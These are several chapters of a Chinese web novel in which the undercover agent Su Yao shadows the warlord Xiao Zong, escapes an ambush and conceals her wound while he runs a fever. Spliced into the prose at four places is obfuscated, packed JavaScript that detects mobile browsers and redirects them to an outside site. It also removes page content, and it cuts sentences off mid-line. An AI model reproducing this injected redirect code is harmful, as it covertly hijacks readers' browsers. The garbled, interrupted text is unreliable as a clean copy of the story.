“……这孩子，忽然发什么火？” 萧纵莫名其妙，也放下筷子走了出去，苏姚靠在沙发上看报纸，她阅读的时候素来很认真，全神贯注的样子。 萧纵看着看着就有些出神，不自觉靠在了门上。 “看什么？” 苏姚察觉到了他的目光，抬眸看了过来，那眼神里带着点无奈和嗔怪，看得萧纵心花怒放，他喜欢苏姚这个眼神，他几乎是下意识地凑了过去，几乎遥遥贴在她身上，被苏姚推了一下，才在她身边坐下来，“看你啊。” 苏姚没理会他的花言巧语，继续去看报纸，一则报道占据了头版头条。 是总统军和倭国达成了和谈协议，双方一致将枪口，对准了组织。 苏姚指尖一颤，却不敢在萧纵面前露出异样来，慌忙找了个借口上了楼。 她盯着那报道看了又看，心情沉闷得浑身无力，同为国人，怎么会有人选择引狼入室呢？ 她怕露出马脚，晚饭没下去吃，夜里却是辗转反侧，既愤怒又担心，冷不丁门外响起细微的脚步声，她陡然冷静下来，贴在门上听外头的动静。 好像是萧纵下了楼，他似乎并没有开车，步行出了门。 苏姚连忙扒着窗口看了一眼，愕然发现，门口的守卫竟然被调开了。 萧纵出门，连守卫都要避开…… 她心头一阵狂跳，连忙换了套衣裳想要跟下去。 可刚走到门边，锥心的痛楚就涌了上来，她咬牙忍住了痛呼，脸色却异常难看，她如今的确能撑得住，可拖着这样的腿，想追上萧纵，根本不可能。 她想起那盒针剂来，犹豫再三，还是拿了一支，打进了静脉里。 她其实没报多少希望，毕竟萧纵那张嘴，能有几分可信？ 可出乎意料的是，腿上的痛楚竟然真的在迅速缓解，而且这种感觉，和止疼药模糊感官的感觉全然不同，她只觉得身上无比轻松，仿佛退去了一层沉疴。 她惊喜得无以复加，反复摸着自己的小腿，竟然真的有用。 萧纵竟然不是糊弄她，他竟然没有糊弄她。 她想起来萧纵之前说过的，他一直在让人研究她的病，没想到竟然是真的。 为了她手里的那个提炼方子，真的有必要做到这个地步吗？ 她心情十分复杂，只是时间容不得她多想，等那股痛楚彻底退下去，她立刻下楼，跟在萧纵身后出了门。 男人本就身高腿长，步子又走得极快，苏姚几次都差点被他甩开，好在这一片的地形她还算熟悉，堵了一把去抄近路，果然再次看见了萧纵的身影。 这是一片民居，距离下百盛不远，也传染了那边的混乱，狭窄拥挤。 就在苏姚躲避萧纵目光的几秒时间里，对方就消失在了某一扇门后，苏姚不敢靠太近，等了好一会儿，确定没有人出来侦查，这才悄声爬上墙头。 只有一家亮着灯，目标很好确认。 苏姚悄无声息地落了地，贴在窗沿下面听里面的动静。 “我们有共同的目标，应该合作，而不是自相残杀，萧少帅，你抗战的时候不遗余力，是条汉子，你这样的人，难道真的想将屠刀对准同胞吗？刚才的提议，我希望你能慎重考虑。” 男人铿锵有力的声音传过来，苏姚眼底闪过震惊，难道海城除了她和沈知聿，还有其他的同志？ 而且，他竟然还想争取萧纵？ 心跳毫无预兆地跳快了几分，萧纵会答应吗？ 如果他真的能答应…… 她不自觉紧张起来，房里却传来一声轻笑，“好处呢？” 萧纵的声音有种陌生的熟悉感，陌生在于她很久都没听过他用这种语气开口了；而之所以熟悉，是因为那六年里，她曾无数次听见过这种漫不经心，满是算计的语气。 他不会答应。 苏姚心里忽然就有了结论，哪怕萧纵还没有明说。 “条件你提出来，我会尽量和组织申请。” “那我可得想想……” 萧纵拉长了声音，苏姚眉心忽然一跳，一股十分不好的预感涌了上来。 她不明所以，却很清楚这种感觉不是空穴来风，她竖起耳朵谨慎地观察四周。 细微的摩擦声正在慢慢靠近，在虫鸣的遮掩下，十分隐蔽，可苏姚还是听见了。 萧纵来这里，不是要谈合作，而是要抓人！ 苏姚恨得咬牙切齿，再不敢耽误，低喝一声，“快跑，有埋伏！” 她刻意压低了声音，里面的两人分不清她是敌是友，但萧纵心里有鬼，所以下意识的反应就是抓人，苏姚一枪打了过去，萧纵躲闪不及，这一枪贴着脸颊擦了过去，留下了一道灼烧的痕迹。 另一人抓住机会，从窗户里翻出去，拔腿就跑。 苏姚也不敢耽搁，翻上院墙，往反方向奔逃。 “草！” 身后传来萧纵的怒骂，紧接着有人追了上来。 苏姚心里一紧，汗毛都竖了起来，可又觉得庆幸，至少萧纵来追她，另一个人就安全了。 只是，她要怎么才能逃得掉？ 枪击声自身后响起，苏姚不敢回头，胡乱反击了一枪，趁机拐进了另一道巷子里，但对方人多，只要萧纵想，有的是人手，她不能拖时间，要尽快甩掉这些人。 危急时刻，她思绪无比清明，她当下唯一能利用的优势，就是地形。 她抬眸看向不远处，下百盛就在不远处，她只要逃进去，才有活下去的可能。 她不再犹豫，起身就要跑，什么东西却咕噜噜滚了过来。 第208章 被堵住了 意识到那是什么，苏姚瞳孔一缩，纵身一跃，弹片仍旧扎进了小腿里，好在这只是颗**，威力不算大。 她顾不得别的，忍着疼朝下百盛狂奔。 “追！” 萧纵冷酷至极的声音响起来，苏姚咬紧牙关，游鱼一般钻进了混乱地下百盛。 身后的人快步追了上去，萧纵却停在了原地，他揉了揉滚烫的额头，轻啧一声，“你是怎么查的？有个同伙都没发现？” 陈锋一脸的不敢置信，他也不知道怎么会忽然又冒出一个人来，却并没有反驳，“是属下疏忽，请少帅责罚。” “自己看着办吧，下次谨慎些，到手的把柄就这么没了，亏不亏？” 陈锋被说得抬不起头来，萧纵倒是没再计较，失败了就是失败了，骂人还能改变结果吗？ “**下百盛，我不信他能飞了。” 萧纵靠在墙上喘了口气，抖着手去点烟，陈锋连忙给他点火，靠近了才发现他身上滚烫，“少帅，您是不是……” “没有，” 萧纵打断了他，“太久没动弹，跑得热了，歇一歇就好。” 他靠在墙上，深深吸了一口烟，不出意外地，又侧头咳了起来。 陈锋看了眼远去的人，又看了看萧纵，犹豫很久，还是站着没动。 “想追就去追，要是能抓到，就算你戴罪立功，我还是赏你。” “是！” 陈锋应了一声，抬脚追了过去。 萧纵缓了好一会儿才抬脚，扶着墙晃晃悠悠往回走，大兵来扶他，被他抬手挥开，他不习惯在底下人面前露出病弱的模样来，那会让他觉得危险。 他们水能载舟，亦能覆舟，他依仗的这些人，也可能成为他颈侧的刀。 “你们也都去追吧，谁追到，谁有赏。” 几个大兵应了一声，还开走了几辆车。 等众人没了影子，萧纵这才再次停下来，坐在了地上，他决定抽完这支烟再回去。 可磕烟灰的时候，他却瞧见了一个脚印。 刚刚一群人跑过去，留下脚印很正常，可这个脚印，却很明显的小了一圈，而且很新鲜，还沾着血迹，显然就是刚才留下的。 他伸出手，用手掌测了测那脚印的大小，眼神慢慢沉了下去，刚才那个人，是个女人。 苏姚头皮一麻，**贴着她的脚跟射进地面，溅起的尘土弄脏了她的裤脚，她一转身就钻进了路旁的小门里，很快又从后门钻了出来，片刻后又钻进了另一扇门。 这里的屋子数不胜数，道路七拐八绕，宛如一个巨大的迷宫，若是没在这里生活过一段时间，极容易迷路。 陈锋追着苏姚闯进来，又跟着她闯出去，然后眼前就彻底找不到她的影子了。 “跑哪里去了？” 看着空荡荡的街道，陈锋额角突突直跳，脸色十分难看，大兵们连忙四散开来去搜索。 “别乱动。” 陈锋喝住众人，“给我守住出口，等援兵来了再说，别让人钻了空子。” 众人立刻应了一声，他又看向身边的人，“你回去和少帅汇报一下情况，尽量多申请一些人手。” 大兵答应一声，转身去开车，全然没瞧见车底下扒着个人。 车子一路疾驰回了帅府，和萧纵前后脚进的门，两人就在院子里说起了话。 趁着两人说话的功夫，苏姚悄然爬到了萧纵的车底，扒的时间太久，她手臂酸痛，控制不住地在抖，可她不敢松开，唯恐不留神就被萧纵发现了她的踪迹。 好在大兵很快就说完话走了，苏姚松了口气，萧纵也该进去了吧？ 没想到，男人竟然靠着车坐在了地上，和苏姚隔着不过一米远，粗重的呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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深更半夜，她穿的不是睡衣，反而是出行的短打，萧纵就算只是个普通人都会怀疑，更何况他本来就多疑。 只怕是会立刻给自己一枪。 “苏姚？” 电光火石间，萧纵已经发现苏姚不在床上了，他似乎以为苏姚和昨天一样，又去了浴室，迅速去敲了浴室的门，“苏姚，你在里面吗？” 浴室里没有任何回应。 连水声都没有，萧纵意识到了什么，一把推开了门。 巨大的声响，惊得苏姚的心脏也是一跳，默数着的数字也在迅速逼近三十、 来不及了！ 再不进去，会被巡逻队发现。 可进去……会被抓个正着的。 她进退维谷。 可根本没有时间给她思考，她恶狠狠地咬了咬牙，拼一把吧。 她一把扯下窗帘，纵身跳了下去。 落地的瞬间，巡逻队就走了过去。 苏姚蜷缩在草丛后面，心跳如擂鼓，耳膜都被震得痒了起来，只是不等她平复呼吸，房间里就传出了萧纵急切的声音—— “苏姚不见了！人呢，都给我出来，苏姚去哪里了？” 萧纵声如闷雷，不多时，主楼的灯就陆陆续续都亮了起来，苏姚迅速脱掉身上的衣服，将窗帘简单一裹，装作睡衣，抬脚就往凉亭走。 巡逻队听见萧纵的喊声，加快速度赶过来，她迅速调整方向，做出一副刚从凉亭里离开的样子。 大兵们看见她都愣了一下，脸色很茫然，“苏小姐？您怎么在这？” 他们巡逻了好几圈，怎么没看见？ 苏姚强压下混乱的心跳，皱眉开口：“我刚才就在凉亭里啊，你们来来**的，都没看没见我吗？” 大兵们面面相觑，他们的确没看见，但苏姚说得太理直气壮，反而让他们不自信了。 “少帅好像在找您。” 领队的人岔开了话题，苏姚这才仰头往里面喊了一声，“我在这里，大半夜的，你喊什么？” 萧纵似是听见了她的声音，急匆匆走了过来，自窗户里看见她的时候，很明显地松了口气，“这么晚了，你不睡觉，在下面干什么？” “睡不着就出来呆了一会儿，” 苏姚摆出了理直气壮的姿态，“你又跑我房间里去做什么？我都没给你开门，你怎么进去的？你懂不懂尊重？！” 萧纵被问得心虚，侧开了头，想假装没听见，目光扫过窗台时却不自觉顿了一下。 “你赶紧回去睡觉吧，别吵得人不得安宁。” 苏姚的声音自楼下传上来，萧纵收回目光，答应了一声。 苏姚以为他走了，心下一松，琢磨着等人都睡了她就回去，可念头还没落下，就瞧见男人那高大的身影走了过来。 苏姚调整了一下呼吸，强行冷静了下来，无比庆幸自己刚才把窗帘拽下来装了睡衣，不然靠这么近，一定会被他发现端倪。 这个男人，怎么像个狗皮膏药？ 如果不是没有发现异常，她都觉得萧纵一直在盯着她了。 “怎么出来了也不开灯？” 萧纵开口，说着就要去摁开关。 “别，” 苏姚连忙喊住他，可不能让萧纵开灯，不然身上这套假睡衣就得露馅了。 “招蚊子。” 她补充了一句，萧纵被说服了，没再坚持，靠在她身边坐了下来，只是没几秒，就往苏姚身边蹭了两下。 苏姚额角跳了一下，但强行忍住了。 “你为什么不……” 萧纵迟疑着开口，虽然只开了个话头，但苏姚已经知道他要问什么了。 她没给机会，提高了音量，先发制人，“你能不能别去我房间了？我是个人，需要隐私，需要尊重！如果你不懂，我可以搬出去的。” 萧纵一慌，果然没再顾得上别的，“我没有这个意思，我就是担心你。” 他语气急切，“我只是担心你和之前一样，发作了又没人发现。” 过往的记忆涌上来，苏姚一哽，“我不喜欢。” 萧纵叹了口气，语气无奈，“我就是知道你不喜欢，才想着偷偷进去的，看一眼就走，也不会打扰你……” “我还得谢谢你是吗？” 苏姚忍不住拔高音调，萧纵连忙摇头，“不是这个意思。” “不准再进我的房间！” 她加重语气，萧纵似是还要开口，苏姚睁圆了眼睛瞪他。 “……好吧。” 男人还是答应了下来，只是语气里满是遗憾。 苏姚听出来了，顿时气不打一处来，很想把人撵走，可这是萧纵的地盘，所以她只能咬牙道：“你不回去睡觉吗？” “不困，陪你说说话。” 萧纵仿佛没听出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚才外面黑，她没有注意，等将窗帘扯下来的时候，她才发现小腿一直在流血，已经将白色的窗纱染红了。 心头咯噔了一下，地面是不是也流了血？ 萧纵会不会已经发现了？ 第210章 他也没那么精明 她急匆匆换了衣裳出去，随口喊了一句医生，快步朝凉亭走去。 萧纵已经清醒了些，正盯着自己的手指看。 苏姚后心的汗都出来了，一开口声音止不住地颤，“看什么呢？” 萧纵慢慢转过头来，夜色下，他神情晦涩莫测，让人看不出情绪，一双眸子却晦暗得仿佛深渊，要将人生生拖拽下去。 她下意识停下了脚步，没敢再靠近分毫。 “啪”的一声响，凉亭的灯被打开，周遭大亮，萧纵的指尖也清晰了起来，苏姚目光一落在上面，瞳孔就是一颤。 血。 萧纵的指尖，是殷红的血迹。 她目光下移，落在自己刚才坐过的位置上，地面果然沾染了血迹，不多，可在大理石的地面上，却十分醒目。 心头一颤，她闭了闭眼，脑海里还在想能糊弄过去的借口，手却已经往腰后探去。 “你来癸水了？” 萧纵忽然开口，将手指往苏姚面前递了递，“怪不得大半夜出来，是不是不舒服？” 苏姚一愣，紧绷的身体骤然一松。 “是，” 苏姚连忙接茬，掩饰性地开口，“怎么连这里都弄脏了。” 她说着走过来，蹲下身就去擦地面的血迹，萧纵把她拉起来，“又不是什么见不得人的东西，让佣人处理吧，工资总不能白发。” 苏姚顺着他的力道站起来，顺势挡住了他的目光，推着他往回走，“医生来了，进去吧。” 萧纵应了一声，也不知道是真的发烧无力，还是有意为之，整个人都靠在了苏姚身上。 苏姚难得的没有推拒，尽力扶着他，心脏还控制不住的咚咚乱跳，差一点，她就要被萧纵吓**。 这个人…… 她克制着平复了一下呼吸，发顶忽然被揉了两下，她呆了两秒才抬头，就见萧纵正垂眸看着她。 “脸色这么不好看，是身体不舒服，还是我生病的样子太吓人了？” 萧纵话里带了几分调侃，若是前几天，苏姚才懒得理会这种莫名其妙的问题，可现在她却没有那么抗拒了。 她不太清楚原因，或许是因为刚才的劫后余生，让她现在对萧纵都包容了起来；也或许是她忽然发现面前这个男人，其实没那么精明可怕，也有犯蠢的时候，她没必要草木皆兵。 总之，她放松了不少，可她却没回答这个问题，只抬手在他脸颊上摸了摸，“怎么有伤啊？” 其实她心里比谁都清楚，这伤是怎么来的。 毕竟，她就是罪魁祸首。 萧纵像是不知道疼一样，面对她的碰触，不但没有躲，反而握住了她的手，加重了抚摸的力道，“被偷袭了，但我厉害，躲开了。” 苏姚抿了下唇，不知道萧纵哪里来的自信，她当时只想逼退萧纵，根本没想要他的命，不然那么近的距离，他就是再长两条腿，也躲不开。 “好好好，你最厉害。” 她敷衍两句，喊了医生来给他检查。 她本以为萧纵是着了凉，或者中了暑，吃几天药就好，却没想到医生上来就脱了萧纵的衬衫。 苏姚有些莫名，虽然萧纵的身上的确还有外伤，但之前弹片扎得并不深，这两天估摸着都该愈合了，发热的原因应该不是那伤。 但不等她将困惑说出口，就发现医生并没有理会萧纵背后弹片上的伤口，反而解开了他胳膊上的绷带，苏姚不知道他胳膊上还有伤，有些诧异地盯着。 眼前却忽然一黑，萧纵抬手捂住了她的眼睛。 男人的手指有些潮湿，大约是常年抽烟，还带着烟草的味道，就这么遮住了她的视线。 “你干什么？” 她诧异开口，说着抬手去掰他的手，萧纵却难得强硬，“别看。” 他越不让看，苏姚越是想看，她两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878731|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手都握了上来，将萧纵的手拽了下去。 婴儿拳头大小的一个血窟窿出现在眼前，隐约能看见森然的白骨。 都说烧伤的伤口最恐怖，眼前的这伤却比烧伤更难以直视，苏姚只看了一眼，就感觉胃里在翻涌。 眼前又黑了下去，萧纵很无奈地笑了一声，“都说了，别看。” 苏姚不自觉握紧了他的手，“这伤什么时候受的？” 她不记得萧纵最近有遭受过袭击。 “很早了。” 萧纵含糊一句，声音陡然哑了一下，连那只捂着她眼睛的手都抖了一下。 苏姚反应过来，应该是医生在给他清理伤口，“你……不用麻药吗？” 她低声开口，声音也哑了几分，许是也经历过极致的痛苦，所以哪怕和萧纵站在两个立场，她也仍旧感同身受了。 “麻药对我用处不大。” 萧纵叹了一声，颤抖的声音里带着几分无奈。 苏姚很快就反应了过来，萧纵这是对麻药有抗药性。 哪怕心里还对萧纵曾经的恶行耿耿于怀，苏姚这一刻仍旧生出了一点怜悯。 一个刀口舔血的人，竟然麻药无效…… 她忽然想起萧纵之前遭受的那一次**袭击，清理伤口的时候，他也是这么清醒着的吗？ 指尖无意识地蜷缩了一下，苏姚下意识地握紧了萧纵的手。 似是察觉到了她的力道，萧纵的手很快就回握住了她。 “少帅。” 医生似是处理完了伤口，喘着气开口，“我给你换了一种抗生素，希望对伤口有用。” 苏姚呆了一下，萧纵有抗生素？ 那为什么还要费尽心思要她手里的那张提炼的方子？ 她思绪有些乱，仿佛有什么东西要冒了出来，却还不等清晰，就又被她强行压了下去。 她的目的是救唐黎，不能为无关紧要的事情分心。 第211章 祸从天上来 天色慢慢亮起来，萧纵懒得动弹，索性就睡在了沙发上。 他还盛情邀请苏姚，“你也别回去了，在这里睡吧，我身上热得很，刚好给你暖肚子。” 他晃了晃自己因为发烧而有些发红的手。 “你就老实躺着吧。” 苏姚递了消炎药给他，对萧纵的脑回路十分难以理解，谁家发烧的病人，是这么用的？ 萧纵被拒绝了也不生气，靠在沙发上懒洋洋闭上了眼睛。 天色微微发白，已经有佣人被吵醒，趁着夜里凉快，开始洒扫庭院了，苏姚想起来自己留在外面的那些衣服，连忙站了起来，起身往外走。 “苏小姐去干什么？” 管家纳闷开口，苏姚当然不能说实话，随口找了个借口敷衍，“我去地窖拿点冰，给他降降温。” 管家眼睛亮了一下，连忙献殷勤，“这种粗活，还是我去吧，苏小姐在这里陪着少爷就好。” “不用了。” 苏姚一口回绝，她又不是真的为了拿冰，“我自己去就好。” 管家还要再劝，苏姚转身就走，没给他再开口的机会。 等她处理了自己留下的痕迹，端着几块冰回来的时候，管家正已经备好了毛巾和铜盆，正满脸慈爱地看着她。 苏姚被他那目光看得浑身一抖，真要命，她实在是不习惯管家这种眼神。 “冰放在这里，麻烦你……” 她放下冰盆，抬脚就想走，但管家先一步抬起了脚，“我明白我明白，我这就走，你放心，我不会让别人打扰你的。” 话音落下，他把所有起来的佣人都带走了，眨眼的功夫，客厅里就只剩了苏姚和萧纵。 她站在原地呆了几秒，才不敢置信地朝管家离开的方向走了两步。 “我不是这个意思。” 她喃喃开口，话里都是无力。 许久后，她叹了口气，认命地坐回了沙发上，用毛巾包了几块碎冰，贴在了萧纵额头上。 话都说出去了，总不能什么都不做吧？ 冰凉的毛巾贴在额头，萧纵舒服地松了口气，紧皱的眉头微微舒展了些，苏姚垂下眸子看着他，后知后觉的看出来，比起一年前的最后一面，萧纵其实消瘦了很多。 脸颊已经凹了下去，看着有些憔悴。 苏姚抬手，在他脸颊上戳了戳，男人没躲，也没用奇怪的眼神看她，瞧着有点乖。 苏姚有些恍惚，总以为萧纵这人可怕得很，洞悉人心，手段狠辣，稍不留神就会栽在他手里。 可现在看看，其实他也不过是个普通人，病了一样会憔悴，一样爬不起来。 她目光下移，落在了男人脖子上，指尖微微一蜷。 也一样会疏于防备，会被人取走性命。 睡梦中的人似乎察觉到了什么，刚舒展开的眉头又皱了起来。 苏姚收回目光，短暂的犹豫过后，还是伸手给他揉了揉眉心，揉着揉着，她的手就垂了下去，歪在沙发上闭上了眼睛。 这一宿，她又是奔逃，又是惊吓，也已经身心俱疲了。 时针慢慢滑动，不知不觉就指向了六点，然后是七点，八点…… 可外头日头那么亮堂，帅府却始终很安静。 以至于等苏姚睁开眼睛的时候，还以为自己只是眯了一小会儿。 只是下一瞬，她就看见了座钟上的时针，明晃晃地指向了十。 她猛地坐了起来，她竟然睡到了十点钟？ 她连忙下了地，这才发现自己所在的位置，也不是睡着前的单人沙发了，而是萧纵躺的位置。 说起萧纵…… 她起身四处看了一眼，别说萧纵了，连佣人的影子都没瞧见。 恍惚间，她都有种，这帅府只剩了她自己的错觉。 “人呢？” 她开口喊了一声，萧茵哒哒哒从餐厅里跑出来，看见她露出个笑，“你醒啦？” 苏姚应了一声，随着她话音落下，帅府仿佛活过来了一样，佣人从各个角落里冒了出来，刚才安静到针落可闻的帅府，瞬间就热闹了起来。 苏姚看着这仿佛变魔术一般的情形，眨了眨眼睛才回神，“我上去换套衣服。” 等她再下来的时候，萧纵不知道从哪里冒了出来，正在客厅里和管家嘀嘀咕咕，确切的说，是管家在和萧纵嘀咕，边说还边抬头看她。 苏姚很莫名其妙，低头看了自己一眼，“怎么了？我身上有东西吗？” 管家没说话，倒是萧纵起身走了过来。 苏姚打量了他一眼，这人还真是顽强，一宿而已，精神看着就好了很多。 “退烧了吗？” “当然。” 萧纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884278|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住她的手腕，“不然怎么对得起你的照顾？你还亲自去拿冰了？” 他极力想要摆出漫不经心的样子来，苏姚却还是听出了一点雀跃。 她有些心虚地扯了下嘴角，不太敢直视萧纵的眼睛。 一通电话忽然打了进来，将她从尴尬至极的境地里解救了出来。 “去接电话吧。” 她推了萧纵一把，萧纵看起来心情很好，听话地去接了电话，只是刚听了一句，就朝她看了过来，“沈公馆。” 苏姚有些诧异，不知道是不是最近见了太多次萧纵的莫名其妙，她下意识的反应竟然是，沈公馆的电话，萧纵能这么轻易给她？ 她带着几分狐疑接听了电话，沈知心的声音从电话那边传了过来。 “嫂子，我哥不在，陈园那边的邀请，我怕是要走一趟，你能不能陪我去？” “你去？” 苏姚诧异开口，虽然知道沈知心早慧懂事，但毕竟也是孩子，沈知聿竟然也放心让她出去走动。 “嫂子放心，这场面我应付得来的。” 沈知心在那边笑了一声，苏姚听她语气笃定从容，也跟着放下心来，“好，待会儿我过去学校接你。” “辛苦嫂子给我带套衣服。” “你想要哪一套？” “嫂子看着拿吧，你的眼光我信得过。” 电话很快被挂断，苏姚有些感慨，沈知心真是让人省心。 她喊了个女佣过来，“你去趟沈公馆，让她们拿知心那套紫色的洋装，那个颜色很衬她。” 女佣答应着走了，苏姚盘算着时间，也打算上楼去换衣裳，一转身，却见萧茵正眼巴巴地看着她，“我今天也去，你也给我选套衣裳吧。” 苏姚顿了顿，微微一笑，“小姐生得好，穿什么都好看的。” 虽然是称赞，可萧茵的脸还是垮了下去，她看向萧纵，满眼都是求助。 萧纵揉了下她的头，无奈开口，“别指望我了，你自求多福吧，我可不敢乱说话。” 他费尽了心思才和苏姚缓和了关系，不可能在这种时候给萧茵出头的。 萧茵气恼地瞪了他一眼，转身噔噔噔往楼上跑。 苏姚也抬脚上楼，管家却急匆匆走了进来，“少爷，何会长来了，他说你缺个女伴，把何小姐送过来了。” 第212章 他到底图什么 客厅忽然一静，所有人的目光都落在了苏姚身上，包括还没来得及进门的萧茵和一脸复杂的管家。 “……” 苏姚满心无奈，看她干什么？ 她没记错的话，她和沈知聿订婚的消息，这些人都是知道的，怎么闹的好像她和萧纵还有关系一样。 “别看我……” “我可不认识什么何小姐。” 萧纵先一步开口，大步走了过来，“这一年我一直在外头，你看看报纸就知道了，我都没在海城，怎么会认识什么何小姐？” “你不用和我解释。” 苏姚哭笑不得，别人不知道，萧纵难道不清楚，他们现在，根本一点关系都没有，她怎么会在乎萧纵身边有什么人？ 可这话听在萧纵耳朵里就变了味道，他脸色微微一变，往前又走了两步，“我真的不认识，苏姚，我可以发誓。” 苏姚神情古怪，“发誓”这俩字从萧纵嘴里说出来，有种莫名的滑稽感。 她一时没开口，萧纵却误会了她的沉默，还以为这是不相信的意思，想解释又无从开口，毕竟他前车之鉴太多，实在不能让人信服，好在还有萧茵。 他看向对方，语气急切，“快，萧茵，你告诉她，我这一年是不是没回来过？我回来之后是不是一直在忙？根本没机会见别的女人。” 萧茵朝他眨了眨眼睛，没开口，萧纵有些着急，忍不住催促，“你说啊。” 萧茵这才一瘪嘴，“你又不是整天在家，不能确定的事情，我可不敢乱说，你自求多福吧。” 萧纵一呆，不敢置信地看着萧茵，手指都抖了起来，“你你你，你非要在这时候把话还给我吗？” 萧茵得逞一笑，朝他做了个鬼脸，扭头钻进了自己的房间。 萧纵气了个倒仰，原地转了几圈才冷静下来，硬着头皮继续解释，“苏姚，我真的不认识，你知道的，我一回来就被炸了，除了跟踪了你几次，我根本没出门。” 这话一出，场面更静。 萧纵后知后觉反应过来自己说错了话，苏姚不止一次因为他跟踪的事恼火，她厌恶这种不尊重她的行为，所以之后他再怎么想念苏姚，也都没再做出跟踪的事情，没想到赶在这个档口，他竟然自己旧事重提。 “我不是……” 他张了张嘴，很想解释，但话到嘴边又一阵无力，简直是越描越黑。 他越想越恼怒，最后气势汹汹地朝外头去了：“何坚成，你个王八蛋，你给我添什么乱？！” 看他样子不对，管家怕他打人，连忙追了上去，两人的身影很快就消失在了视野里。 苏姚莫名的有些想笑，等萧翼退下去，她的心情才复杂起来，萧纵这么做，到底是图什么？ 要不是她过了那六年痛苦至极的日子，她恐怕都相信，他真的是想挽回自己了。 有些事情越想越乱，苏姚强行将思绪压了下去，转身回了房。 等她换好衣服下来的时候，萧纵还没回来，倒是管家期期艾艾地看着她，“苏小姐，去劝劝吧，也不是什么大事，不好太不给人面子。” 苏姚有些莫名，可还是跟着管家出了门，还没走到大门前，就先听见了萧纵骂人的声音，“你明知道我费尽心思才把人带回来，你还给我添乱，你是不是活腻歪了？活腻歪了你告诉我啊，我送你颗子弹，犯得着这么费事？” 何坚成被骂得不敢回嘴，可他毕竟也是有头有脸的人，被当众这么下面子，一时间脸色铁青，却还强堆着笑求饶，“少帅息怒，鄙人也是为了您考虑，您想想，您追求这么久，那苏老板都不假辞色，这时候若是您有了……” “你给我闭嘴！” 萧纵气得手抖，何坚成说的这法子，他太熟悉了，苏姚在的时候，他就是这么干的，一而再，再而三，才让苏姚对他慢慢死了心，最后宁肯疼死在外头，也不愿意再留在帅府。 想起找不到苏姚时他的心情，他简直想现在就给何坚成一脚。 “我看你就是见不得我好！” 他抖着手指着何坚成，“我当初就不该只封你那几间铺子，我就该……” 他话音忽地一顿，随即恍然大悟，“你是故意的，就是为了你的铺子，蓄意报复我是吧？” 何坚成脸色大变，刚才铁青的脸色都变成了惨白，“少帅，这话可不能乱说，之前欺负苏小姐的事的确是我们不对，那几间铺子就当是给少帅您赔罪了，我怎么敢计较？这真的是冤枉……” 萧纵眼睛一眯，“你这意思是，你不是在报复我，是在报复苏姚？” “少帅，我真没这个意思！” 何坚成连连求饶，急得嘴角都冒起了泡。 苏姚却停下了脚步，眼底都是愕然，怎么听这两人话里的意思，当初欺负她的那些人家出事，是萧纵做的？ 她陡然想起来当初沈知聿含糊其辞的话，一时间满脸茫然。 萧纵为什么要这么做？ 为什么要为了她得罪这么多人？ 更重要的是，他怎么没告诉自己呢？ 这不应该啊，如果有所图，他肯定要告诉自己的呀…… 苏姚站在原地，脑海里一片混乱。 第213章 老子瞎了眼 “苏小姐！” 何坚成忽然喊了出来，他双眼放光地看着苏姚，仿佛她是什么救命的活菩萨一样，“快帮我求个情，我真的没有那个意思，少帅都误会了。” 萧纵背对着门口，听见何坚成的声音才转过身来，看见苏姚的瞬间，脸上刻薄冷凝的神情瞬间换了，“你怎么出来了？时间还早呢。” 苏姚很想问问他当初几家的生意出事，是不是他做的，可话到嘴边却又没问出来。 好像没有什么意义，她又不能回报萧纵，而且事情本来也是因他而起的。 “看你一直不回去，就出来看看，回去换衣服吧。” 萧纵听她这么温温柔柔的说话，身上的火气瞬间散了，只是仍旧很记恨何坚成给他添乱。 他回头瞪了对方一眼，“看在苏姚的面子上，这次不和你计较，赶紧滚。” 何坚成连连应声，还特意朝苏姚道了谢，这才转身上了车。 苏姚抬头看了一眼，却见他正隔着车窗看自己，眼底都是愤恨和恶意，但在察觉到苏姚的目光后，他迅速变了脸，温和地笑了笑。 车子很快消失在眼前，苏姚收回目光，她想，萧纵猜的是对的，何坚成这次来，不是为了报复萧纵，是为了报复她。 她忍不住笑了出来，这些人真有意思，当初他们想讨好的是萧纵，不领情反而针对他们的也是萧纵，刚才责骂他们的还是萧纵。 可他们却把这笔账，记在了她头上。 就像当初，萧纵拿她给萧茵挡灾的时候一样。 这群，渣滓。 “笑什么？” 萧纵侧头看过来，苏姚回视过去，“你们很像。” 萧纵莫名其妙，“我和那个老东西哪里像？” 